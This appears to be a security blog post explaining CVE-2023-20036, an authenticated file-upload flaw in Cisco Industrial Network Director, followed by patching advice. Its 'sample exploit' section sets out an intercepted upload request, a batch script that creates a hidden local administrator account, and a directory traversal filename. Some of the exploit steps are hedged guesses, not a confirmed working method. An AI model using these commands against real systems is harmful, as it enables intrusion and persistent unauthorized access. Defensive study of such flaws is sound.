Early in 2023, security researchers revealed a serious vulnerability in the web user interface (UI) of Cisco Industrial Network Director (IND). This flaw, now tracked as CVE-2023-20036, gives an attacker who has logged in the ability to run system commands as the highest-privilege Windows user, NT AUTHORITY\SYSTEM.

In this post, we'll cover what this vulnerability is, how attackers can exploit it, and most importantly, how to protect your network. We'll also break down technical details and provide sample code to show just how the attack could work.

What is CVE-2023-20036?

CVE-2023-20036 is a vulnerability that relates to the way Cisco IND handles file uploads for "Device Packs." Device Packs are used to add driver support for new devices to Cisco IND. The flaw is in how Cisco IND fails to properly check the input during these uploads.

If you are logged in to the Cisco IND web UI, you can manipulate this upload process to upload malicious files or commands that will then run on the server itself. Attackers can turn this into "remote code execution"—the gold standard for hackers.

Official Advisory

Cisco Security Advisory for CVE-2023-20036

How Does the Exploit Work?

When a user uploads a Device Pack through the web UI, the web service saves the file and then unpacks it. The vulnerability exists because Cisco IND does not properly check the name and content of the uploaded file. This means a user can modify the HTTP request to upload a file that contains malicious commands.

In simple terms: If you can control the contents of the uploaded Device Pack, you can smuggle commands to the underlying Windows system.

Login: The attacker needs valid credentials to log in to the Cisco IND web interface.

2. Alter Upload Request: They intercept (via tools like Burp Suite) the HTTP request sent when uploading a Device Pack.
3. Modify Filename or Content: They change the request so the filename or script contents runs commands on the Windows host.
4. Upload Malicious "Pack": The server processes the upload, and the attacker's command runs as SYSTEM.

Sample Exploit (For Educational Purposes)

Let's walk through the process using simple tools.

1. Get Login Access

The attacker must have login credentials for the Cisco IND web UI.

2. Capture the Upload Request

Using a proxy tool like Burp Suite or OWASP ZAP, capture the request made when uploading a Device Pack ZIP file.

Example Request Structure

POST /ind/ui/devicePackUpload HTTP/1.1
Host: <ip-of-cisco-ind>
Cookie: JSESSIONID=<sessionid>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="pack.zip"
Content-Type: application/zip

(binary data of ZIP file)
------WebKitFormBoundary--

exploit.bat

@echo off
net user hackadmin Sup3rStrngPW! /add
net localgroup administrators hackadmin /add

Zip up this file

zip pack.zip exploit.bat

4. Modify the Request

Change the filename or internal path to abuse directory traversal, like so: "../../windows/system32/exploit.bat" (if the backend does not sanitize paths—depends on implementation).

5. Upload and Trigger

Submit the edited request. If successful, the server will write and perhaps execute the attacker's batch script.

Result: The batch file adds a new local 'hackadmin' user with admin rights.

6. Confirm Exploitation

If the attacker can RDP or otherwise access the system, they could now log in as hackadmin.
Alternatively, command output could be redirected to a web-accessible file, or exfiltrated by other means.

Mitigation

NO Workarounds: Cisco states clearly there are no known workarounds. You must update the software.

Patch Now

- Visit the official Cisco advisory.

References and Further Reading

- CVE-2023-20036 on NVD
- Cisco Security Advisory
- CISA Alert
- General reading: Explaining Arbitrary File Uploads

Conclusion

CVE-2023-20036 is a critical vulnerability that can lead to complete system compromise if left unpatched. Attackers with basic web app skills and access to the Cisco IND web interface can easily exploit this flaw. There are no alternatives to updating the software—patching is a must.

Stay safe, watch your network, and keep all admin interfaces tightly controlled!


*This analysis is exclusive and aims to help defenders understand and counter this Cisco IND threat. Never test these methods on systems you do not own or have permission to test!*

Timeline

Published on: 11/15/2024 15:21:32 UTC